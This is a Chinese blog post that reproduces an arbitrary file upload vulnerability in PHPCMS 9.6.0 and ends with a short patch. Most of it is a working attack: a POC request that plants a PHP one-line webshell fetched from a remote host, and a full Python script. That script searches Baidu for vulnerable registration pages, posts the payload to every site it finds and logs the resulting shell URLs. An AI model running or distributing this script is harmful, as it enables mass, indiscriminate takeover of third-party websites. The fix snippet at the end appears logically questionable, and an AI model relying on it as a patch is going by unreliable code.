【渗透测试】PHPCMS9.6.0 任意文件上传漏洞+修复方案
这个漏洞是某司的一位前辈发出来的,这里只是复现一下而已。
原文地址:https://www.t00ls.net/thread-39226-1-1.html
首先我们本地搭建一个phpcms9.6.0的环境
下载地址:http://www.mycodes.net/43/3365.htm
点击注册页面,进行抓包
在本地创建一个txt文本,写入一句话木马
POC
siteid=1&modelid=11&username=seven1&password=seven123456&email=seven@qq.com&info[content]=<img src=http://127.0.0.1/333.txt?.php#.jpg>&dosubmit=1&protocol=
修改抓包内容,添加POC
菜刀链接
---------------------------------------------------------------------------------------------------------------------------------
也可以用火狐插件执行POC
附上Akkuman 大牛写的批量脚本
说明:
依赖库的安装pip install requests
1 # -*- coding:utf-8 -*- 2 3 ''' 4 ---------------------- 5 Author : Akkuman 6 Blog : hacktech.cn 7 ---------------------- 8 ''' 9 10 import requests 11 from bs4 import BeautifulSoup 12 # from urlparse import unquote //Python2 13 # from urlparse import urlparse //Python2 14 from urllib.parse import quote 15 from urllib.parse import urlparse 16 from random import Random 17 18 chars = 'qwertyuiopasdfghjklzxcvbnm0123456789' 19 20 headers = { 21 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0" 22 } 23 24 def parseBaidu(keyword, pagenum): 25 keywordsBaseURL = 'https://www.baidu.com/s?wd=' + str(quote(keyword)) + '&oq=' + str(quote(keyword)) + '&ie=utf-8' + '&pn=' 26 pnum = 0 27 while pnum <= int(pagenum): 28 baseURL = keywordsBaseURL + str(pnum*10) 29 try: 30 request = requests.get(baseURL, headers=headers) 31 soup = BeautifulSoup(request.text, "html.parser") 32 for a in soup.select('div.c-container > h3 > a'): 33 url = requests.get(a['href'], headers=headers, timeout=7).url 34 yield url 35 except: 36 yield None 37 finally: 38 pnum += 1 39 40 41 def saveShell(shellUrl): 42 with open("webShell.txt","a+") as f: 43 f.write("[*]%s\n" % shellUrl) 44 45 def main(): 46 data = { 47 "siteid": "1", 48 "modelid": "1", 49 "username": "akkumandsad", 50 "password": "123456", 51 "email": "akkakkumafa@qq.com", 52 # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt,一句话地址为.php后面加上e=YXNzZXJ0,普通一句话http://file.codecat.one/normalOneWord.txt 53 "info[content]": "<img src=http://7xusrl.com1.z0.glb.clouddn.com/bypassdog.txt?.php#.jpg>", 54 "dosubmit": "1", 55 "protocol": "", 56 } 57 for crawlUrl in parseBaidu("inurl:index.php?m=member&c=index&a=register&siteid=1", 10): 58 try: 59 if crawlUrl: 60 rand_name = chars[Random().randint(0, len(chars) - 1)] 61 data["username"] = "akkuman_%s" % rand_name 62 data["email"] = "akkuman_%s@qq.com" % rand_name 63 host = urlparse(crawlUrl).scheme + "://" + urlparse(crawlUrl).hostname 64 url = host + "/index.php?m=member&c=index&a=register&siteid=1" 65 htmlContent = requests.post(url, data=data, timeout=10) 66 successUrl = "" 67 if "MySQL Error" in htmlContent.text and "http" in htmlContent.text: 68 successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php" 69 print("[*]Shell : %s" % successUrl) 70 saveShell(successUrl) 71 if successUrl == "": 72 print("[x]Failed : Failed to getshell.") 73 else: 74 continue 75 except: 76 print("Request Error") 77 78 79 80 if __name__ == '__main__': 81 main()
------------------------------------------------------------------------------------------------------------------------------------------------------------------
修复方法:
打开phpcms\libs\classes\attachment.class.php
在168行代码下面添加如下代码
1 if(!stripos($ext,$filename)){ 2 $arryfilename = explode("|", $ext); 3 foreach($arryfilename as $n=>$fn){ 4 if($fn){ 5 $filename = $fn; 6 continue; 7 } 8 } 9 }